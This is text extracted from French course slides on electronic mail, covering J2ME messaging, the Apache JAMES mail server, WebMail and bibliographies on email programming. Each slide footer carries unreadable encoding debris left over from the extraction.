U�pOHF

WURQLT

XH

56

Messaging sur J2ME

n JSR120• sms://, cbs://, …

n Voir cours J2ME

Page 54: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

57

A manipuler

n Java Apache Mail Enterprise Server (JAMES)

• http://java.apache.org/james• 100% pure Java• Enterprise Mail engine• Protocoles

• SMTP, POP3, IMAP, HTTP

n WebMail• http://webmail.sourceforge.net• Interface HTML à un serveur POP/IMAP/SMTP• Component .war (Servlets/JSP)

Page 55: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

58

JAMES-DYD�$SDFKH�0DLO (QWHUSULVH�6HUYHUn 100% pure Java

• SMTP and POP3 Mail server• NNTP News server• File System spools and RDBMS spools• LDAP, TLS, Remote Manager

n Mail application platform• Java API to process emails (mailet)

• A mailet can generate an automatic reply, update a database, prevent spam,build a message archive, or whatever you can imagine.

• A matcher determines whether your mailet should process an email in the server.

n Liens• http://james.apache.org/• http://www-106.ibm.com/developerworks/java/library/j-james1.html• http://www-106.ibm.com/developerworks/java/library/j-james2.html

Page 56: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

59

Bibliographie - Général

n Olivier Bouillant, "Messageries Electroniques", 1997, Ed. Eyrolles, ISBN 2-212-08883-X• les généralités pour une première approche

n Alan, Schwartz, "Listes de diffusion électroniques, Installation et mise en œuvre", Ed O'Reilly, 1998, ISBN 2684177-059-1 (vo 1-56592-259)• orienté administrateur de lidies

n W.R. Stevens, “ TCP/IP Règles et Protocoles ” Volume 1,2 et 3, Ed Vuibert (Addison-Wesley pour la VA de 1994), 1998, ISBN 2-7117-8639-0• le chapitre 28 du Tome 1 présente SMTP

Page 57: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

60

Bibliographie - Développeur

n David Wood, Mark Stone (Editor), Programming Internet Email, 362 pages 1st edition (August 1, 1999), O’Reilly &Associates; ISBN: 1565924797

n John Rhoton, “Programmer's Guide to Internet Mail : Smtp, Pop, Imap, and Ldap”, October 1999, Digital Press; ISBN: 1555582125

n John Rhoton , Programmer's Guide to Internet Mail, 291 pages 1st edition (January 15, 2000) Digital Press; ISBN: 1555582125

n Kevin Johnson , Internet Email Protocols: A Developer'sGuide, 478 pages 1 edition (January 15, 2000), Addison-Wesley Pub Co; ISBN: 0201432889 ;

Page 58: Le Courrier électronique (Email, Lidies, JavaMail …)

����������

'LGLHU

�'RQ

VH]��

����

�����

��/H�F

RXUULH

U�pOHF

WURQLT

XH

61

Bibliographie - Développeur

n Dianna Mullet & Kevin Mullet , "Managing IMAP", Ed Eyrolles, September 2000, 0-596-00012-X

n Andrew Patzer , "Programmation Java côté serveur : Servlets, JSP et EJB", Ed Eyrolles-Wrox, 2000, ISBN 1-861002-77-7 (www.wroxfrance.com)

• Javamail et Servlets, chapitre 13